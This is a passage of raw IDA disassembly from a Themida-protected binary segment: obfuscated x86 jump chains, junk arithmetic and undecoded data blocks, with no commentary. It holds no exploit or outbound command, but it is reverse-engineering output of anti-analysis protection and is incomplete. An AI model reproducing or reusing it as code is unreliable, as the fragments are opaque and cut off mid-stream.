ecx, eax pop eax shl ecx, 3 xor ecx, 0E7F93E09h sub eax, ecx mov ecx, [esp] jmp loc_54D1DD ; --------------------------------------------------------------------------- dw 0B951h dd 4, 73F3ED81h, 0AEE9110Fh, 2CFFFFECh, 2434FF7Eh, 4EC815Ah dd 0E9000000h, 0FFFF875Dh, 0B9240C89h, 2E227EC5h, 154BEA2Dh dd 0E9C8297Bh, 0FFFFAD2Bh, 0D9F9E9ACh, 0BA52FFFFh, 2, 89D78957h dd 815A5FF8h, 306176EAh, 0E45BE938h, 0EB81FFFFh, 24E1001h dd 0FFE7F9E9h, 0CFC381FFh, 8163F325h, 358CCCBh, 0BEF3815Eh dd 50721F40h, 202E6AB8h, 31FDE92Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BB9E: ; CODE XREF: Themida_:0054749Cj mov [esp], edi mov edi, 14AB4B99h xor edi, 39A4160Ah jmp loc_54DD0D ; --------------------------------------------------------------------------- loc_54BBB1: ; CODE XREF: Themida_:00546559j mov ebp, 24F467D6h shl ebp, 5 xor ebp, 0B2AA6D17h add esi, ebp pop ebp sub eax, esi pop esi jmp loc_549A31 ; --------------------------------------------------------------------------- dw 0CD01h dd 83240C8Bh, 2C3304C4h, 242C3124h, 8B242C33h, 2BE92424h dd 81000044h, 0F85441E6h, 0E9E6D11Bh, 1E50h ; --------------------------------------------------------------------------- loc_54BBF0: ; CODE XREF: Themida_:00549759j inc ebp jmp loc_5459CC ; --------------------------------------------------------------------------- loc_54BBF6: ; CODE XREF: Themida_:00549C40j push dword ptr [esp] pop ecx push edi mov edi, esp push ebx push 5D6E0E1Bh pop ebx inc ebx jmp loc_54D742 ; --------------------------------------------------------------------------- loc_54BC0A: ; CODE XREF: Themida_:0054E187j xor [esp], edx xor edx, [esp] pop esp mov [esp], ebx jmp loc_548E09 ; --------------------------------------------------------------------------- db 0FFh, 77h, 3Ch dd 8B2434FFh, 0C4832404h, 4EC8104h, 89000000h, 63E92434h dd 87FFFFECh, 248B2434h, 50E1F724h, 24048B54h, 504C483h dd 4, 0B9515357h, 71597598h, 5059CB89h, 31B0BA52h, 0E2D14B83h dd 4EAC142h, 2952CA81h, 0F281447Dh, 5CCA29ABh, 0F3D8EA81h dd 0D089D9E9h, 1CDDBF5Ah, 0C73119B8h, 0FF8987E9h, 7CBB53FFh dd 0F779D639h, 37CB81D3h, 431CF65Eh, 4BD4C381h, 0E6E983F8h dd 87FFFFFEh, 895C2404h, 48BF243Ch, 0E97A7D25h, 0FFFFC905h dd 2D5AD001h, 4, 4EC81h, 4890000h, 2474FF24h, 48F5804h dd 24248B24h, 25D2E9h db 0 ; --------------------------------------------------------------------------- loc_54BCCD: ; CODE XREF: Themida_:0054E18Dj and eax, edi push dword ptr [esp] jmp loc_54D03C ; --------------------------------------------------------------------------- db 0BEh dd 5A9B0C57h, 9B0C53B9h, 5EF1315Ah, 0C8BCE01h, 4C48324h dd 0FF999CE9h, 242C87FFh, 4C7835Ch, 8B243C87h, 72682424h dd 8900005Ah, 17E92404h, 66FFFF83h, 663505BAh, 17C1C281h dd 38EA8166h, 0D5296651h, 0B93EE95Ah, 0D321FFFFh, 6E3C15Ah dd 1AF9EB81h, 0D82930EBh, 5B2434FFh, 5604C483h, 702F13BEh dd 5EF30105h, 0FF8E1AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BD45: ; CODE XREF: Themida_:0054672Cj sub esp, 4 jmp loc_54C866 ; --------------------------------------------------------------------------- db 53h, 0BBh, 4 dd 1000000h, 14A0E9DAh, 0C4810000h, 4, 0FF82BDE9h, 191B68FFh dd 1C890000h, 46824h, 15B0000h, 241C8BDAh, 283AE9h, 4C48300h dd 0DF31FB31h, 0D7F7FB31h, 92E9FB87h, 5FFFFF9Bh, 0FFD213E9h dd 5FF801FFh, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 51241C89h dd 4C22F0B9h, 0D1F74901h, 0FFBFA0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BDB9: ; CODE XREF: Themida_:0054B8E0j mov esi, 4B432D90h shr esi, 7 dec esi jmp loc_54D10E ; --------------------------------------------------------------------------- db 33h dd 3C31243Ch, 243C3324h, 6624248Bh, 66241489h, 43E99C50h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BDDF: ; CODE XREF: Themida_:0054B0E6j push dword ptr [esp] pop esi add esp, 4 jmp loc_54E2D7 ; --------------------------------------------------------------------------- aIP db '<$żŻ',0 db 11h, 30h, 31h dd 0EC815FF8h, 4, 0E9243C89h, 981h, 0A3B6525Ah, 0F0280704h dd 80ECB151h, 0E9D0B4E1h, 0FF98FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BE19: ; CODE XREF: Themida_:005461DEj push dword ptr [esp] jmp loc_546F73 ; --------------------------------------------------------------------------- db 1, 0E9h, 5Dh dd 1E61E981h, 0E1C10214h, 0E9575604h, 0FFFFD169h, 282DF581h dd 0C5812F5Fh, 4EF41036h, 59AFED81h, 0EDC14010h, 0FCED8105h dd 0E9EF2EA0h, 0FFFFFFCDh, 0E953D801h, 0FFFFECCFh, 0BE5653ADh dd 0F094CD9h, 2414F756h, 81FE9h, 4EC8300h, 51242489h, 4B9h dd 244C0100h, 348B5904h, 4C48124h, 81000000h, 4C6h, 0EC835500h dd 24048904h, 2F4C3AB8h, 89EDBD08h, 0C5292198h, 1AF58158h dd 813C1019h, 213D53CDh, 0C1DDF72Bh, 0C58102EDh, 0CBDE4F83h dd 0E95DEE01h, 3F43h, 9D1C77FFh, 14D25966h, 53E99C24h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BECF: ; CODE XREF: Themida_:005465EAj xor eax, 433F7BC6h xor eax, 787743F2h jmp loc_546A0F ; --------------------------------------------------------------------------- loc_54BEDE: ; CODE XREF: Themida_:0054F326j push eax jmp loc_54D358 ; --------------------------------------------------------------------------- dd 0E908E9C1h, 1EB1h ; --------------------------------------------------------------------------- loc_54BEEC: ; CODE XREF: Themida_:0054F194j xor eax, ecx xor ecx, eax xor eax, ecx jmp loc_54ADD1 ; --------------------------------------------------------------------------- db 53h dd 150CE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BEFE: ; CODE XREF: Themida_:0054EC9Cj push esi push 614C4238h pop esi xor esi, 53F23CBAh add esi, 207EEDCCh push esi add dword ptr [esp], 7DCF193Eh pop edi jmp loc_5489C4 ; --------------------------------------------------------------------------- db 8Bh dd 31E92424h, 87FFFFC0h, 88E92414h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BF2F: ; CODE XREF: Themida_:005458ABj push ecx jmp loc_54861C ; --------------------------------------------------------------------------- loc_54BF35: ; CODE XREF: Themida_:0054CD70j shl edx, 1 push 1879h mov [esp], ecx push 0FFFFFFFFh jmp loc_54A131 ; --------------------------------------------------------------------------- db 57h, 56h, 0BEh dd 6073326h, 0F75EF789h, 0B2BD55DFh, 2930C040h, 0EF815DEFh dd 4E113146h, 90DAEF81h, 37E94311h, 8B000014h, 0C4832414h dd 0C1D5F704h, 2AE905E5h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BF7F: ; CODE XREF: Themida_:0054B218j mov edi, edx pop edx push ecx mov ecx, 5BE3407h jmp loc_5455AC ; --------------------------------------------------------------------------- loc_54BF8D: ; CODE XREF: Themida_:005460C5j push ebp push esp jmp loc_5448FD ; --------------------------------------------------------------------------- loc_54BF94: ; CODE XREF: Themida_:0054CDFDj push 4F58h jmp loc_545202 ; --------------------------------------------------------------------------- dw 248Bh dd 807CE924h, 2C89FFFFh, 8CA6E924h, 815AFFFFh, 4C4h, 5BDD0100h dd 5C242C87h, 0F66E1F6h, 6866CCB6h, 14E962D3h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BFCB: ; CODE XREF: Themida_:0054DCF0j mov edi, [esp] add esp, 4 add ebx, 4 jmp loc_546336 ; --------------------------------------------------------------------------- dd 3ABE5657h, 0E9352B37h, 0FFFF9AF1h, 0E6252425h, 54E94833h dd 81FFFFCCh, 4C4h, 0BF575200h, 4B5D66F1h, 0E7C1D7F7h dd 0D8E78107h, 0C1378317h, 0C78105EFh, 6771526Ah, 0FFDC37E9h dd 65BE56FFh, 8168322Ch, 4E74C8F6h, 9DBA5223h, 42479802h dd 8103EAC1h, 1C0B0CE2h, 9AEA8151h, 21983BADh, 0EE815AD6h dd 43545025h, 685EF729h, 7631h, 0BD242C89h, 81E0EA4Ch dd 15DEF01h, 0BE565FFBh, 2, 335EF301h, 66E9241Ch, 8B000033h dd 0C483242Ch, 78536804h, 0C890000h, 2B924h, 0CB010000h dd 241C8759h, 6624248Bh, 66C8AF0Fh, 8FE99C51h, 0FFFFFF7Fh dd 0E7E92434h, 8BFFFFA6h, 0C481242Ch, 4, 221BE9h, 0C4815B00h dd 4, 8904EC83h, 0DABE2434h, 0C1687F2Dh, 0C68108EEh, 2198186Dh dd 5B1CC681h, 814E2568h, 0F4158DC6h, 3AB951D0h, 537DA777h dd 0FFDC87E9h, 4875FFFh, 24248B24h, 6203A5F3h, 37DAE938h dd 34330000h, 24248B24h, 0E9028864h, 0FFFF7F26h, 234AE959h dd 0FF2C0000h, 0FFA2D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C109: ; CODE XREF: Themida_:0054CDF5j mov esp, [esp] push ebx jmp loc_54F32B ; --------------------------------------------------------------------------- dw 66B9h dd 81AF7EB4h, 0E1254EEEh, 81CE294Ch, 0E1254EC6h, 0F701594Ch dd 8B2434FFh, 29E92434h, 66FFFFF3h, 6824048Bh, 5D91h, 1588E9h dd 5AD70100h, 8704C783h, 21E9243Ch, 66FFFFC2h, 6824048Bh dd 380Bh, 56240489h, 0C6815E54h, 4, 0FF89D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C169: ; CODE XREF: Themida_:00549ABDj xchg ebp, [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_54C6B1 ; --------------------------------------------------------------------------- dd 0DE64F5BDh, 5DEB0178h, 7562C381h, 0F301770Ch, 7562EB81h dd 0EB81770Ch, 78DE64F5h, 5224348Bh, 0C281E289h, 4, 8704C283h dd 0E95C2414h, 0FFFFE4CCh ; --------------------------------------------------------------------------- loc_54C1AC: ; CODE XREF: Themida_:0054761Aj add esp, 4 push eax mov eax, esp jmp loc_546CC8 ; --------------------------------------------------------------------------- db 83h dd 2C8704EDh, 91E95C24h, 5C00000Ch, 57E930FFh, 8FFFFF7Eh dd 815C2404h, 4ECh, 243C8900h, 0FFC85DE9h, 525D54FFh, 4BAh dd 33C58100h, 8150855Dh, 723D36EDh, 55ED817Ah, 0E9619414h dd 0FFFF8F27h, 0DB11A1BBh, 92C3814Eh, 816B2C1Bh, 72D2FEBh dd 5BDE01BAh, 5C243487h, 0E9240487h, 0FFFFA765h ; --------------------------------------------------------------------------- loc_54C21C: ; CODE XREF: Themida_:00546828j mov edi, [esp] add esp, 4 or eax, eax jz loc_5480B7 push dword ptr [edi+1Ch] jmp loc_54CDFA ; --------------------------------------------------------------------------- loc_54C235: ; CODE XREF: Themida_:00547204j pop edx sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebx push ecx mov ecx, 473363EDh sub [esp+4], ecx pop ecx pop eax add eax, 473363EDh push ebx mov ebx, esp jmp loc_546C0B ; --------------------------------------------------------------------------- db 59h dd 8B5DEB29h, 5CE92434h, 81FFFFD2h, 4C3h, 4B95100h, 1000000h dd 56E959CBh, 8F000026h, 7DA0E902h, 0DA88FFFFh, 5B5AD088h dd 8A58C788h, 0E9042454h, 18D0h ; --------------------------------------------------------------------------- loc_54C294: ; CODE XREF: Themida_:0054A085j mov [esp], eax mov eax, 4 sub edx, eax pop eax xchg edx, [esp] pop esp mov [esp], ebx push edx push edi mov edi, 24D164A8h add edi, 4AC91428h xor edi, 55BF5AC7h jmp loc_54798A ; --------------------------------------------------------------------------- dw 8B66h dd 54682404h, 89000025h, 5A542414h, 4C281h, 0BB530000h dd 35460885h, 128CBF57h, 0EFC1553Ch, 65F78108h, 0E92B7A2Bh dd 0FFFF89D7h ; --------------------------------------------------------------------------- loc_54C2EC: ; CODE XREF: Themida_:0054B780j mov ecx, [esp] jmp loc_547E48 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4832404h, 22336804h, 4890000h, 51E08924h dd 4B9h, 0E9C80100h, 0FFFFDE59h, 5E83EE81h, 0F6810C3Ch dd 7710CE8Ah, 15EF029h, 8306E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C32A: ; CODE XREF: Themida_:0054DB08j pop esi xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ecx push 2F63h jmp loc_54F0AF ; --------------------------------------------------------------------------- db 0FFh dd 0E9042474h, 0FFFFC8A3h, 6802C483h, 4809h, 83241489h dd 1BE904ECh, 87000031h, 895C2414h, 3FB82404h, 56E3A79h dd 0B8A21AFh, 5005E8C1h, 582414F7h, 515E1B05h, 0C81E926h dd 0E9510000h, 0FFFFA8C5h, 0C580FD28h, 685B6610h, 52D4h dd 0E9241C89h, 0FFFFDBD6h ; --------------------------------------------------------------------------- loc_54C398: ; CODE XREF: Themida_:0054541Aj sub esp, 4 mov [esp], ecx jmp loc_54AE69 ; --------------------------------------------------------------------------- loc_54C3A3: ; CODE XREF: Themida_:00549F3Ej shr dl, 5 jmp loc_54F2A9 ; --------------------------------------------------------------------------- db 5Ch dd 54241C89h, 0FFA78CE9h, 243489FFh, 506914BEh, 81DEF73Ah dd 913D65EEh, 0FEBD557Ah, 81498E38h, 40471FEEh, 81EE291Ah dd 40471FC6h, 242C8B1Ah, 0C104C483h, 2E906EEh db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C3E7: ; CODE XREF: Themida_:00547985j shr edx, 2 push esi jmp loc_54D162 ; --------------------------------------------------------------------------- dd 0CE42A7BFh, 8843E913h, 6C01FFFFh, 44810424h, 7AB10424h dd 8B5D6177h, 86E92434h, 54FFFFD3h, 4BA5258h, 2D000000h dd 23E57555h, 7B3E9h, 80596600h, 0E2C0E9C2h, 4E2C002h dd 0FF9250E9h, 0B85058FFh, 0FFFFFFFFh, 8158C529h, 0A037F7EDh dd 0A0E58176h, 813DC457h, 804424F5h, 5DEA0108h, 2C281h dd 0E9520000h, 27D8h, 6140BA52h, 0D5296F70h, 3EDC15Ah dd 24C5ED81h, 0EB29FD35h, 83E9515Dh, 51FFFFE6h, 2365A0B9h dd 0C2FEE905h, 0BA52FFFFh, 558955E6h, 68EFF281h, 0C2813434h dd 16DB115Bh, 5A88F281h, 0B5E94D76h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C49F: ; CODE XREF: Themida_:0054A0D2j mov [esp], ecx push esp pop ecx jmp loc_54711A ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0FF9D79E9h, 7EEC68FFh, 3C890000h, 4EC8324h, 0E9242489h dd 0FFFFC037h, 17ED815Dh, 5950E452h, 0FFAD38E9h, 243C8BFFh dd 8F04C483h, 525C2404h, 0EFE9E289h, 0FF000009h db 34h, 24h, 5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_54F392 ; --------------------------------------------------------------------------- db 5 dd 15805D11h, 3505E8C1h, 463F498h, 8358C701h, 3C8704EFh dd 24248B24h, 57241C89h, 1218D268h, 0E7C15F5Dh, 16EF8106h dd 0E91902BEh, 0FFFFB5F5h, 505BFA88h, 0C388D088h, 0DD885A58h dd 0FFF1B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C549: ; CODE XREF: Themida_:005456A9j pop ebp xchg ecx, [esp] mov esp, [esp] test cl, al pushf jmp loc_54EECC ; --------------------------------------------------------------------------- dd 5F13680Dh, 2DAE6873h, 2C890000h, 0A9BE5624h, 0E95B0664h dd 0FFFFF673h, 592434FFh, 4C481h, 0C1810000h, 4, 2C181h dd 0FF510000h, 0E9042474h, 0FFFF91BAh, 0F073E95Dh, 0C968FFFFh dd 8900002Dh, 2BF243Ch, 1000000h, 243C8BF8h, 4C481h, 0FF500000h dd 0E9042474h, 0FFFFF51Fh, 57FAED81h, 0ED811333h, 6F3F79B7h dd 0B75DE945h, 0C481FFFFh, 4, 0C281DA01h, 44716349h, 4EC815Bh dd 89000000h, 0DABF243Ch, 0E93A4171h, 3965h ; --------------------------------------------------------------------------- loc_54C5EC: ; CODE XREF: Themida_:00544023j xor al, bl jmp loc_548440 ; --------------------------------------------------------------------------- db 53h dd 0FF84EFE9h, 240C89FFh, 0E113E950h, 1B8FFFFh, 0E9000000h dd 71Fh ; --------------------------------------------------------------------------- loc_54C60C: ; CODE XREF: Themida_:0054DE2Dj mov ebx, ecx pop ecx shr ebx, 1 shr ebx, 8 shl ebx, 7 push 457Dh mov [esp], ebx not dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 inc ebx push ecx mov ecx, 40E64905h dec ecx sub ecx, 746803AAh add ecx, 157F0D6Dh inc ecx sub ecx, 0F4DB0848h xor ebx, ecx pop ecx and eax, ebx mov ebx, [esp] jmp loc_54D0E1 ; --------------------------------------------------------------------------- dd 51C3315Bh, 0AFE9E189h, 81000018h, 4C4h, 0FC33000h, 34FFC0B6h dd 6DE06887h, 1BE90000h, 5F00001Bh, 0FD2CEA81h, 0D601B7C0h dd 4EE815Ah, 0E9000000h, 0FFFF869Ah, 8124348Bh, 4C4h, 14F75600h dd 0E9ADE924h, 0C468FFFFh, 54000057h, 0E924048Fh, 0FFFFE4DDh dd 0FF7971E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C6B1: ; CODE XREF: Themida_:0054C173j jmp loc_544022 ; --------------------------------------------------------------------------- loc_54C6B6: ; CODE XREF: Themida_:00549772j not dword ptr [esp] push dword ptr [esp] pop eax push esi mov esi, esp push ebx mov ebx, 26497656h sub ebx, 2B99010Fh xor ebx, 0FAB07543h add esi, 50480EC7h add esi, ebx push edx mov edx, 60184A1Bh neg edx inc edx sub edx, 4F9FA71Fh sub esi, edx jmp loc_54DDA8 ; --------------------------------------------------------------------------- loc_54C6F0: ; CODE XREF: Themida_:00547ACAj xor eax, ecx push 5AA4h mov [esp], eax jmp loc_547A15 ; --------------------------------------------------------------------------- aBEzr db 'ÎĂ;ĽZRş',0 dd 313D65F9h, 0F7895AD6h, 247C315Eh, 2434FF04h, 0A633E95Fh dd 0E952FFFFh, 321Dh, 0C781E789h, 4, 4C781h, 3C870000h dd 87E95C24h, 89FFFF8Dh, 4C681E6h, 83000000h, 348704EEh dd 4CE95C24h, 4EFFFF80h, 846ABA52h, 0D63105B5h, 5EF0295Ah dd 83685751h, 0E93D3B03h, 1106h, 0E93C77FFh, 0FFFFC494h dd 4C181h, 0C1810000h, 4, 5C240C87h, 0FF789DE9h, 89C789FFh dd 9AF9E9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C78E: ; CODE XREF: Themida_:0054550Bj pop esp mov [esp], edi jmp loc_5471D4 ; --------------------------------------------------------------------------- db 29h dd 0FE295DEEh, 0FFFCE1E9h, 4EC83FFh, 4A0E9h, 56D83100h dd 0F2098FBEh, 93BB5325h, 8138832Ah, 311A99C3h, 2F0AE91Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C7C2: ; CODE XREF: Themida_:0054FA72j add [esp+4], edi pop edi pop eax push 53B2h jmp loc_54B8DD ; --------------------------------------------------------------------------- dw 0D029h dd 0C660262Dh, 24148B27h, 6804C483h, 51CBh, 68243C89h dd 75B99524h, 83243C8Bh, 0E86804C4h, 0E9000000h, 0FFFFF348h ; --------------------------------------------------------------------------- loc_54C7FC: ; CODE XREF: Themida_:00546760j inc ebp add ebp, 599C116Ah sub edi, ebp jmp loc_54CD5D ; --------------------------------------------------------------------------- dw 5166h dd 7810E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C812: ; CODE XREF: Themida_:00546FD1j xchg al, dl or dl, 18h sub dl, 4Ch sub al, 12h sub al, dl add al, 12h pop edx add al, bh add al, 0EEh pop ebx xor bl, al movzx eax, al push small 4456h mov [esp], ax jmp loc_5454E3 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 0FF77E3E9h, 1C7721FFh, 5E2434FFh, 4C481h dd 0EBE90000h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C857: ; CODE XREF: Themida_:00546E6Bj and eax, 54435C19h xor eax, 440500Ch jmp loc_548AE8 ; --------------------------------------------------------------------------- loc_54C866: ; CODE XREF: Themida_:0054BD48j mov [esp], edi push edi jmp loc_54640A ; --------------------------------------------------------------------------- db 5Bh dd 0FFB3E4E9h, 81C701FFh, 0D3536EC7h, 24048B29h, 4CDE9h dd 6B54BF00h, 0F78127B8h, 24A54C3Fh, 1644E9h, 3B95100h dd 573D0004h, 7D4804BFh, 4EC8375h, 0BA241489h, 3C613FB9h dd 1660C281h, 424A66CCh, 4A76CA81h, 0BD5531DFh, 44D20510h dd 0FFFCF3E9h, 1AD168FFh, 2C890000h, 4BD24h, 0C1810000h dd 773A293Bh, 0E981E901h, 773A293Bh, 5D2434FFh, 4C481h dd 0E9500000h, 16CEh, 6BE9F901h, 97000025h, 8197D0F7h dd 988BFCEFh, 3447E946h, 0EE810000h, 33292459h, 4C62C681h dd 0EE8155B9h, 33D8335Fh, 0C681CE01h, 33D8335Fh, 6109BA52h dd 0CA817604h, 4A0206AFh, 0E905EAC1h, 0FFFF80ACh, 0E904C383h dd 0FFFFABABh, 815DEE01h, 4C6h, 0B2D1E900h, 8B5BFFFFh dd 0C481241Ch, 4, 79AF381h, 0CBE975D1h, 50FFFFACh, 4B8h dd 2AC68100h, 1794734h, 2AEE81C6h, 58794734h, 0E904C683h dd 1E01h, 825EA81h, 0BB536892h, 0DB136BCEh, 0FF8F47E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C98D: ; CODE XREF: Themida_:0054E215j push ebx mov ebx, 15012699h and esi, ebx pop ebx sub esi, 0FFFFFFFFh xor esi, 0E7C5AFE3h jmp loc_545110 ; --------------------------------------------------------------------------- dd 4C481h, 0EC830000h, 240C8904h, 2783BD55h, 0E5812BD2h dd 4580C32h, 0E5C1D5F7h, 1ED8306h, 0FFB498E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C9C9: ; CODE XREF: Themida_:0054DFEBj mov ebx, ecx pop ecx mov esi, ebx jmp loc_5466F4 ; --------------------------------------------------------------------------- aFlS db 'f$$é´!',0 align 4 dd 0C65CB005h, 0E52D5B59h, 0E949A023h, 0FFFFF468h ; --------------------------------------------------------------------------- loc_54C9EC: ; CODE XREF: Themida_:0054FB17j pop ecx loc_54C9ED: ; CODE XREF: Themida_:00549104j ; Themida_:loc_549648j push 2D76h mov [esp], ebx mov eax, [esp] push ebx mov ebx, esp push edi mov edi, esp push eax mov eax, 4 add edi, eax jmp loc_54607F ; --------------------------------------------------------------------------- db 89h dd 0EC812434h, 4, 51242489h, 4B9h, 246C8100h, 9A6EFC04h dd 0C920E96Fh, 6856FFFFh, 7A23h, 944E9h, 4EC8100h, 89000000h dd 8FBF243Ch, 0C132FE1Dh, 0B95105EFh, 6555190Dh, 7F51F181h dd 0CF09153Bh, 7EFC159h, 28E9EFD1h, 68000005h, 67F4h, 68243489h dd 55DEh, 0B9240C89h, 1D8E0E7Eh, 3159CE89h, 0D8315EF3h dd 53241C8Bh, 241C8B54h, 81E78957h, 4C7h, 0E900h, 0C7830000h dd 243C8704h, 0F7C9E95Ch, 0EC81FFFFh, 2, 242C8966h, 0FF7DBBE9h dd 814F5CFFh, 7F23E4EFh, 0ECCBE9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CABA: ; CODE XREF: Themida_:00549678j mov esi, esp push ecx mov ecx, 4 add esi, ecx pop ecx add esi, 4 xchg esi, [esp] pop esp shr ecx, 2 push ebp sub esp, 4 mov [esp], esp jmp loc_547CF1 ; --------------------------------------------------------------------------- db 68h, 0D9h, 79h dd 0EDE90000h, 0FFFFFF7Eh, 34FF2434h, 24048B24h, 8304C483h dd 9AE904ECh, 5AFFFFB5h, 8B243487h, 14892424h, 0E99C5024h dd 0FFFF7512h ; --------------------------------------------------------------------------- loc_54CB10: ; CODE XREF: Themida_:0054AEFBj add esi, ecx pop ecx or ecx, esi pop esi add ecx, 58AB0BFAh add ecx, 0A8F57467h jmp loc_546F56 ; --------------------------------------------------------------------------- db 49h dd 0F181D9F7h, 9000CB27h, 8359C801h, 8EE904C0h, 89FFFFDEh dd 0E389241Ch, 4C381h, 68550000h, 4, 0FF8701E9h, 0A68FFh dd 34FF0000h, 240C8B24h, 8304C483h, 8FE904ECh db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CB67: ; CODE XREF: Themida_:00546006j add esp, 4 jmp loc_5471F0 ; --------------------------------------------------------------------------- dw 0C89h dd 2B924h, 4BE90000h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CB7F: ; CODE XREF: Themida_:0054959Dj mov [esp], ebx jmp loc_549F5B ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 5B5A241Ch, 0FF7481E9h dd 2434FFFFh, 0FFEB72E9h, 0E9E828FFh, 1F40h, 66E6D166h dd 4FD0EE81h, 0F3896653h, 0DA896652h, 0E9D18966h, 0FFFF9367h dd 0D324248Bh, 0E99C240Ch, 0FFFF744Eh, 0B951D001h, 23E57555h dd 0C8BC801h, 4C48124h, 5A000000h, 8904EC83h, 4BF243Ch dd 0E9000000h, 13F8h, 70A768h, 48F5400h, 24048324h, 24048F04h dd 0B3168h, 24348900h, 70EE9h, 0E8E95200h, 100002Ah, 243C8BFAh dd 4C481h, 76E90000h, 89000020h, 0B95AE9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC32: ; CODE XREF: Themida_:0054D7ECj push dword ptr [esp] pop ebx add esp, 4 push ebx jmp loc_546E96 ; --------------------------------------------------------------------------- dw 0F888h dd 0FFAA0AE9h, 243C89FFh, 189E9h, 2C890400h, 0FF4FE96Bh dd 895DFFFFh, 2434FFDFh, 4C4835Bh, 8105EFC1h, 0CDDA1FEFh dd 8BFA01E9h, 0EC81243Ch, 4, 0E9242C89h, 2B79h, 5B5A0289h dd 8324048Bh, 5F5904C4h, 0FF7F95E9h, 8009B3FFh, 0C3FEFFC3h dd 0F66EF380h, 0A9EB80D3h, 0E95BDE88h, 0FFFFE99Bh ; --------------------------------------------------------------------------- loc_54CCA8: ; CODE XREF: Themida_:00548D27j mov edx, [esp] add esp, 4 jmp loc_544022 ; --------------------------------------------------------------------------- dw 242Dh dd 890AC604h, 0C51CE9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CCC2: ; CODE XREF: Themida_:005472F5j push 47DBh mov [esp], ecx push eax push 77D4ABAh pop eax mov ecx, eax pop eax inc ecx jmp loc_54A071 ; --------------------------------------------------------------------------- dw 0E6C1h dd 0A0CE8105h, 684F9C1Fh, 6ADBh, 56240C89h, 766D16BEh dd 498AB901h, 9EE90654h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CCFB: ; CODE XREF: Themida_:005451A6j pop esi add esp, 4 loc_54CCFF: ; CODE XREF: Themida_:0054ACF0j push ebx push dword ptr [esp] jmp loc_548D2C ; --------------------------------------------------------------------------- dd 240C8B66h, 0FFB6ADE9h, 4C781FFh, 0E9000000h, 0FFFFC8AAh dd 0BD555954h, 4, 0C4E9E901h, 1FFFFB2h, 1AE958C7h, 5000000Fh dd 0E40FE3B8h, 0E9F6E923h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD3E: ; CODE XREF: Themida_:0054A073j push ebp push eax mov eax, 0 push eax add dword ptr [esp], 49111061h jmp loc_54B231 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 2EA5E9h db 0 ; --------------------------------------------------------------------------- loc_54CD5D: ; CODE XREF: Themida_:0054C805j pop ebp push 3AFDh mov [esp], edi jmp loc_54600B ; --------------------------------------------------------------------------- loc_54CD6B: ; CODE XREF: Themida_:0054DA8Cj and eax, edi pop edi or edx, eax jmp loc_54BF35 ; --------------------------------------------------------------------------- loc_54CD75: ; CODE XREF: Themida_:00548895j add [esp+4], ebx pop ebx jmp loc_546D11 ; --------------------------------------------------------------------------- db 83h dd 44E904C0h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD87: ; CODE XREF: Themida_:00549DA0j mov [esp], esi push 73F836B9h pop esi add esi, 8C07C948h mov ecx, esi push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_545F29 ; --------------------------------------------------------------------------- dw 303h dd 34FF595Bh, 89575A24h, 16B850E7h, 40504B65h, 52E9D0F7h dd 0FFFFFFBAh, 589D1C77h, 9C240419h, 0FF7255E9h, 685057FFh dd 19F618D5h, 0B29AE958h, 4BFFFFFh, 1000000h, 0E6E95FFBh db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CDE7: ; CODE XREF: Themida_:0054E98Bj pop ecx pop edi add edi, 4 add edi, 2 xchg edi, [esp] jmp loc_54C109 ; --------------------------------------------------------------------------- loc_54CDFA: ; CODE XREF: Themida_:0054C230j mov ecx, [esp] jmp loc_54BF94 ; --------------------------------------------------------------------------- dw 248Bh dd 8BF3E924h, 0F101FFFFh, 0FFDF02E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CE11: ; CODE XREF: Themida_:0054436Fj mov ebx, 34BA1AF0h add ebx, ecx jmp loc_547D09 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 